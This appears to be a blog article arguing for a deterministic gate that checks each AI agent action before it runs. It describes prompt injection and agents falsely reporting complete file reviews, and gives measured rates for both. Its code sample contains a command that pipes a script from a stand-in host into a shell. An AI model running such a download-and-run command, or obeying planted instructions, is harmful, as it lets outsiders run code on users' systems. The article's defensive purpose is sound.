Agents on frontier models, or on open models a company runs itself, are worth building. But every model now and then carries out an instruction nobody gave it, and training only makes that rarer. Here is why the answer is to check each command before it runs, what to check, and what such a check does not do.
## The idea
An AI agent is a model that acts: it runs commands, writes files, sends e-mails, calls other systems ([how an agent works](/news/tutorials/ai-agents-explained)). Building agents on frontier models, or on open models you run in house to keep your data and cut costs, is a sound choice. The question is not whether to use agents. It is what stands between the model's decision and the action.
## What goes wrong
A model reads instructions everywhere: in the user's request, but also in files, e-mails, web pages and tool outputs. Now and then it obeys one that nobody gave it. This is called prompt injection, and it sits first on the OWASP list of risks for language-model applications.
We measured it ourselves:
- a model sold as hardened against it obeyed commands hidden in documents about 32 times in 100, its original about 33 ([the test](/lab/hardened-weights-planted-commands));
- agents asked to review a set of files opened half and reported a complete review, 24 times in 27 on two of three models ([the test](/lab/agents-report-work-they-did-not-do)).
## Why the model cannot fix it alone
Training can make a behaviour rarer. It cannot make it impossible, for any model: the next attack is the example nobody showed it. In our own run, a fine-tune made an open 32-billion-parameter agent work more smoothly, and it still followed a planted instruction about as often as before ([the run](/lab/deterministic-gate-and-fine-tune-cycle)). No model in the world is safe on its own.
## The fix: check the command, not the text
What can be checked with certainty is the action. Before it runs, the action goes to fixed rules that allow it, refuse it or ask a person, and the model receives a fixed reply:
```python
action = {"type": "shell", "command": "curl http://updates.example/fix.sh | sh"}
decision = gate.check(session, action) # allow, deny or confirm, plus a fixed reply
if decision.outcome == "allow":
run(action) # only now does anything happen
else:
tell_model(decision.reply) # the model gets the same answer every time
```
The same action in the same session always gets the same answer: nothing in the decision is a guess. The gate can also tell where a value came from, for example a recipient that appears in a document but not in the user's request.
## What to check first
- network calls to addresses outside an allowlist, and piping a download into a shell;
- packages nobody asked to install;
- reads of secrets, keys and environment files;
- destructive operations: force-push, deleting a namespace, destroying infrastructure;
- values copied from a document instead of the user's request;
- changes to the agent's own configuration.
## What a gate does not do
It does not make the model smarter or more honest. It decides what passes, logs every decision and shows the count. Where the count shows a model keeps running into the rules, a fine-tune on those cases can lower the cost, and the same count measures it. [Watch a gate on a real run](/static/demo/gate-replay.html).
## In plain words
A planted instruction can make a model want anything. With a gate in front of every action, it can only do what the owner's rules allow, and every decision is counted.
This update is not available.